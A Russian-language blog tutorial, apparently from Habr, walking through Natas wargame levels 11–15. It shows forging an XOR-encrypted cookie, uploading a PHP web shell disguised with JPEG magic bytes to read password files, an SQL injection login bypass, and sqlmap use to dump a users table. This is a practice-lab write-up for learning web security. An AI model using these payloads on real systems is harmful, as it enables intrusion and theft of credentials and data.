![image](https://habrastorage.org/webt/_-/zf/_u/_-zf_uvvs6ypsybfrqslsnqwx8k.png)
В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
level 11
Разбираем код:
- пароль будем доступен, если значение из массива data по ключу showpassword будет «yes»;
- массив data создается функцие loadData, в которую в качестве параметра передаются данные по умолчанию;
- функция loadData загружает значения data из cookie (кодирует data в base64, шифрует xor на неизвестном ключе, декодирует данные в формате json);
- устанавливает полученные значения.
Что же нужно сделать:
- восстановить ключ XOR шифрования:
- взять зашифрованные данные из cookie;
- декодировать base64;
- закодировать данные по умолчанию в json формат;
- проксорить полученные сроки.
- закодировать и зашифровать по обратному алгоритму новые данные, где showpassword == yes;
- вставить новые данные в cookie и перезагрузить страницу.
![image](https://habrastorage.org/webt/-j/55/eq/-j55eqdtudqasskf3eenw9rbnhm.png)
<?php
function xor_encrypt($in, $k) {
$key = $k;
$text = $in;
$outText = '';
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw";
$old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode));
echo "key: ". $KEY . "\n";
$KEY="qw8J";
$new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY));
echo "new cookie: " . $new_data_code . "\n";
?>
![image](https://habrastorage.org/webt/ai/hj/f5/aihjf5pjex1fdihzey9m9hd5tsu.png)
![image](https://habrastorage.org/webt/zh/n8/pw/zhn8pwl6rvyan4kznacp8dubh9m.png)
level 12
При сохранении файла на сайте, он сохраняется под случайным именем и расширение JPEG. Но самое главное, что это имя формируется и предоставляется пользователю в скрытом поле формы hidden еще до выбора файла, а после – вместе с файлом отправляется на сервер.
![image](https://habrastorage.org/webt/6f/fi/0t/6ffi0tdyztucaoj1vkqe3tfslas.png)
Задача: cоздать php-shell, перехватить запрос на сервер и
изменить имя файла на *.php.
<? echo system($_GET["cmd"]); ?>
![image](https://habrastorage.org/webt/3e/si/i8/3esii8hyneza1m7lryilb25dkww.png)
Используем Burp Suite: Выставляем настройки прокси браузера на 127.0.0.1:8080. Отправляем shell. Во вкладке Proxy подменяем запрос.
![image](https://habrastorage.org/webt/5e/fw/bc/5efwbc85wljn0oj6eou9cxc2oie.png)
![image](https://habrastorage.org/webt/v4/i-/ac/v4i-ac8md2akgoqqdzltqyn1ux8.png)
![image](https://habrastorage.org/webt/ai/7z/cr/ai7zcrpo_0wx6x-4d0w7wpm2b5i.png)
Обращаемся к своему файлу на сервере, передавая команды в командную строку через параметр cmd.
cat /etc/natas_webpass/natas13
![image](https://habrastorage.org/webt/sa/m7/sy/sam7sylyzdpmz-ribfpofvtfcgo.png)
Данный вид уязвимости относится к категории Unrestricted File Upload.
Для создания Shell`a лучше всего использовать константы php, так как выполнение системных функций может быть запрещено настройками сервера.
level 13
При сохранении на сервер того же самого shell`a, нам говорят, что это не изображение. Анализируем код.
![image](https://habrastorage.org/webt/-w/wc/lc/-wwclcpbh1osgraj9gmantkmk1e.png)
Присутствует функция exif_imagetype.
![image](https://habrastorage.org/webt/re/jw/yd/rejwydpj8hb5s_weukl_0idiske.png)
![image](https://habrastorage.org/webt/yw/qy/wn/ywqywna7lbh3gwsninfhgz2axdm.png)
Для проверки JPEG файла данная функция использует внутреннюю функцию is_jpeg, которая проверяет первые четыре байта файла.
![image](https://habrastorage.org/webt/zo/_e/yc/zo_eycwsk-10d5xgpvlsk73rsiy.png)
Дело в том, что интерпретатор языка php выполняет код, который находится между <? ?>, пропуская все остальные символы. Откроем shell прошлого уровня в hex редакторе и допишем в начало файла байты 0xFFD8FFE0.
![image](https://habrastorage.org/webt/ep/6y/wl/ep6ywluev2n63jgom0sj-3cwb_q.png)
Отправим на сайт по аналогии с прошлым уровнем и получим пароль.
![image](https://habrastorage.org/webt/pw/mk/kp/pwmkkpyiphesf9wsjsb54sx7wci.png)
level 14
Обычная ошибка в форме авторизации. Запрос к БД:
SELECT * from users where username="username" and password="password";
![image](https://habrastorage.org/webt/7j/ki/5k/7jki5k7lrrwymayo59sfpsoqbqw.png)
Есть возможность сделать запрос всегда истинным: login = «admin“ or 1=1 — ».
![image](https://habrastorage.org/webt/l4/pj/i1/l4pji1ql2ddqequkzza2ctkyuz8.png)
В таком случае or 1=1 возвращает истину, а остальная часть запроса комментируется:
SELECT * from users where username="admin" or 1=1;
Забираем пароль.
![image](https://habrastorage.org/webt/l-/u_/44/l-u_44lnpxvteeq1zeylllryjdw.png)
Данный вид уязвимости относится к категории SQL Injection.
level 15
На данной форме разберем работу sqlmap. Отправим запрос и перехватим данные и заголовок HTTP.
![image](https://habrastorage.org/webt/pc/_a/uq/pc_auqv91kcvrdweinuspzokxta.png)
![image](https://habrastorage.org/webt/d2/kc/7t/d2kc7tocnrjuyxlfaaazvej6tms.png)
Выбираем из заголовка только необходимую информацию. В данном случае: User-Agent, Referer, Authorization. Задаем параметры sqlmap:
- -u «URL»
- --headers= “заголовки HTTP, разделенный `\n` “
- --data=“данные POST-запроса“
- --current-db – определить какая БД используется
- --tamper=space2comment – заменить пробел строкой /**/ (в SQL это одно и тоже)
- --level=(1-5) – уровень сканирования
- --risk=(1-3) – риск сканирования
![image](https://habrastorage.org/webt/of/rk/eb/ofrkeb8j6ck6rd1-r2acmuihzhi.png)
Sqlmap определил, что параметр username уязвим к Boolean-Based Blind иньекции, и показал правильный ответ БД на верное событие (в последующем сканировании для быстрой работы можно сразу указать уязвимый параметр и тип иньекции: -p username и --technique=B).
B: Boolean-based blind SQL injection
U: UNION query SQL injection
T: Time-based blind SQL injection
E: Error-based SQL injection
S: Stacked queries SQL injection
Sqlmap определил СУБД MySQL (в последующих сканрованиях параметр --dbms=MySQL) и спросил нужно ли определять версию mysql (по умолчанию yes).
![image](https://habrastorage.org/webt/op/zu/q_/opzuq_mvirycjvjdh9-_prmqy58.png)
Sqlmap сообщил, что версия MySQL >= 5.0.12 (это необходимо для выбора служебных констант СУБД).
![image](https://habrastorage.org/webt/ib/tk/yk/ibtkyk1ii_hkm87bzl1--mtppoa.png)
Sqlmap определил нагрузку для параметра username и спросил нужно ли проверять другие параметры (по умолчанию — no). Также он показывает нагрузку.
![image](https://habrastorage.org/webt/zs/dl/yv/zsdlyvagz94o202fov4lv93-srs.png)
Предоставляет информацию об узле и, как мы просили — текущую БД: natas15.
![image](https://habrastorage.org/webt/6p/m2/u2/6pm2u2dhtjpp2kpahgoy9d-wb4i.png)
![image](https://habrastorage.org/webt/js/7v/e1/js7ve1ulqeq6uyououblbm_kdws.png)
С учетом новых известных данных узнаем таблицы из базы данных natas15:
- -D «база данных»
- --tables – определить таблицы
![image](https://habrastorage.org/webt/mr/km/5w/mrkm5wudw_dwk3kznbt_knohpby.png)
Sqlmap определил одну таблицу users.
![image](https://habrastorage.org/webt/pd/b1/cf/pdb1cffziyzsgsr70xheas1d-mk.png)
Узнаем столбцы в таблице users:
- -T «таблица»
- --columns – определить столбцы
![image](https://habrastorage.org/webt/dm/dd/11/dmdd11_5z_09fml5ti1ijd3yji4.png)
Sqlmap определил 2 столбца.
![image](https://habrastorage.org/webt/rl/uu/km/rluukm9w66aw6ksyecpznrnshi4.png)
Сдампим таблицу users (опция --dump). Дамп занял 3 минуты. Выполним запрос в 8 потоков (--threads 8) – как итог: 1 минута.
![image](https://habrastorage.org/webt/6g/qj/ck/6gqjckyllbh9huxb8_v223lteam.png)
Забираем пароль.
Продолжение следует. Вы можете присоединиться к нам в Telegram.